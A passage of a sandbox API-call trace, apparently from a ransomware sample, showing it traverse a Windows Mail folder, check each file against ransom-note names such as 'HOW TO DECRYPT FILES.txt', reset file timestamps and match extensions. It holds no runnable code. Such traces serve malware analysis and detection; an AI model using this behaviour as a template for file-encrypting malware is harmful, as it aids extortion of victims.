lpString2="..") returned 0 [0084.924] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67dcad6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x5e4, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", cAlternateFileName="ACCOUN~3.OEA")) returned 1 [0084.924] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0084.924] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount") returned 1 [0084.924] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount") returned 1 [0084.924] lstrcmpiA (lpString1="", lpString2="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount") returned -1 [0084.924] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\*.*") returned="*.*" [0084.926] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0084.926] CloseHandle (hObject=0x94) returned 1 [0084.926] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\", lpString2="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount" [0084.927] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf657b4d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", cAlternateFileName="ACCOUN~2.OEA")) returned 1 [0084.927] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0084.927] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount") returned 1 [0084.927] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount") returned 1 [0084.927] lstrcmpiA (lpString1="", lpString2="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount") returned -1 [0084.927] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount") returned="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount" [0084.927] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67b6975, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x45004c, dwReserved1=0x2e0053, cFileName="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", cAlternateFileName="ACCOUN~1.OEA")) returned 1 [0084.928] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0084.928] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount") returned 1 [0084.928] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount") returned 1 [0084.928] lstrcmpiA (lpString1="", lpString2="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount") returned -1 [0084.928] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount") returned="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount" [0084.928] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b9ed580, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9ed580, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45004c, dwReserved1=0x2e0053, cFileName="Backup", cAlternateFileName="")) returned 1 [0084.928] lstrcmpA (lpString1=".", lpString2="Backup") returned -1 [0084.928] lstrcmpA (lpString1="..", lpString2="Backup") returned -1 [0084.928] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount") returned="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount" [0084.928] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\", lpString2="Backup" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup" [0084.928] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b9ed580, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9ed580, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x5035ce, cFileName=".", cAlternateFileName="")) returned 0x502698 [0084.929] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0084.929] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b9ed580, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9ed580, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0084.929] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0084.929] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0084.929] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f7a14e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="old", cAlternateFileName="")) returned 1 [0084.929] lstrcmpA (lpString1=".", lpString2="old") returned -1 [0084.929] lstrcmpA (lpString1="..", lpString2="old") returned -1 [0084.929] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\*.*") returned="*.*" [0084.929] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\", lpString2="old" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old" [0084.930] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f7a14e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f6000, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0084.933] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0084.933] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f7a14e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.933] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0084.933] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0084.933] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e562a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e562a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f2de8d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="edb00001.log", cAlternateFileName="")) returned 1 [0084.933] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0084.933] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="edb00001.log") returned -1 [0084.933] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="edb00001.log") returned 1 [0084.934] lstrcmpiA (lpString1="", lpString2="edb00001.log") returned -1 [0084.934] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\*.*") returned="*.*" [0084.935] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0084.935] CloseHandle (hObject=0x9c) returned 1 [0084.935] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\", lpString2="edb00001.log" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\edb00001.log") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\edb00001.log" [0084.936] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e562a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e562a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2ab7545, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x206000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMail.MSMessageStore", cAlternateFileName="WINDOW~1.MSM")) returned 1 [0084.936] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0084.936] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WindowsMail.MSMessageStore") returned -1 [0084.936] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WindowsMail.MSMessageStore") returned -1 [0084.936] lstrcmpiA (lpString1="", lpString2="WindowsMail.MSMessageStore") returned -1 [0084.936] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\edb00001.log") returned="edb00001.log" [0084.936] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e562a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e562a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2fec56f, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x440020, dwReserved1=0x430045, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 1 [0084.936] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0084.936] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WindowsMail.pat") returned -1 [0084.936] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WindowsMail.pat") returned -1 [0084.936] lstrcmpiA (lpString1="", lpString2="WindowsMail.pat") returned -1 [0084.937] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.MSMessageStore") returned="WindowsMail.MSMessageStore" [0084.937] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e562a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e562a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2fec56f, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x440020, dwReserved1=0x430045, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 0 [0084.937] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0084.937] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f7a14e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="old", cAlternateFileName="")) returned 0 [0084.937] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0084.937] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e562a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e562a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x610042, dwReserved1=0x6b0063, cFileName="edb.chk", cAlternateFileName="")) returned 1 [0084.937] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0084.937] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="edb.chk") returned -1 [0084.937] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="edb.chk") returned 1 [0084.938] lstrcmpiA (lpString1="", lpString2="edb.chk") returned -1 [0084.938] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\*.*") returned="*.*" [0084.938] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e30140, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e30140, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x45004c, dwReserved1=0x2e0053, cFileName="edb.log", cAlternateFileName="")) returned 1 [0084.938] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0084.938] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="edb.log") returned -1 [0084.938] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="edb.log") returned 1 [0084.938] lstrcmpiA (lpString1="", lpString2="edb.log") returned -1 [0084.938] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb.chk") returned="edb.chk" [0084.939] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e30140, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e30140, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2b29966, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x45004c, dwReserved1=0x2e0053, cFileName="edb00001.log", cAlternateFileName="")) returned 1 [0084.939] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0084.939] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="edb00001.log") returned -1 [0084.939] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="edb00001.log") returned 1 [0084.939] lstrcmpiA (lpString1="", lpString2="edb00001.log") returned -1 [0084.939] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log") returned="edb.log" [0084.939] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\" [0084.939] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\") returned="" [0084.939] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\HOW TO DECRYPT FILES.txt" [0084.940] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\how to decrypt files.txt")) returned 0x2020 [0084.940] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\", lpString2="edb00001.log" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log" [0084.940] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log", pszSpec="*.ems") returned 0 [0084.940] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e30140, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e30140, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2027392, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x45004c, dwReserved1=0x2e0053, cFileName="edbres00001.jrs", cAlternateFileName="EDBRES~2.JRS")) returned 1 [0084.940] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0084.940] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="edbres00001.jrs") returned -1 [0084.940] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="edbres00001.jrs") returned 1 [0084.940] lstrcmpiA (lpString1="", lpString2="edbres00001.jrs") returned -1 [0084.940] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log") returned="edb00001.log" [0084.940] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\" [0084.940] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\") returned="" [0084.940] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\HOW TO DECRYPT FILES.txt" [0084.940] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\how to decrypt files.txt")) returned 0x2020 [0084.940] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\", lpString2="edbres00001.jrs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00001.jrs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00001.jrs" [0084.941] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00001.jrs", pszSpec="*.ems") returned 0 [0084.941] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2216575, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x45004c, dwReserved1=0x2e0053, cFileName="edbres00002.jrs", cAlternateFileName="EDBRES~1.JRS")) returned 1 [0084.941] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0084.941] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="edbres00002.jrs") returned -1 [0084.941] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="edbres00002.jrs") returned 1 [0084.941] lstrcmpiA (lpString1="", lpString2="edbres00002.jrs") returned -1 [0084.941] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00001.jrs") returned="edbres00001.jrs" [0084.941] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\") returned="C:\\Users\\5p5NrGJn0jS 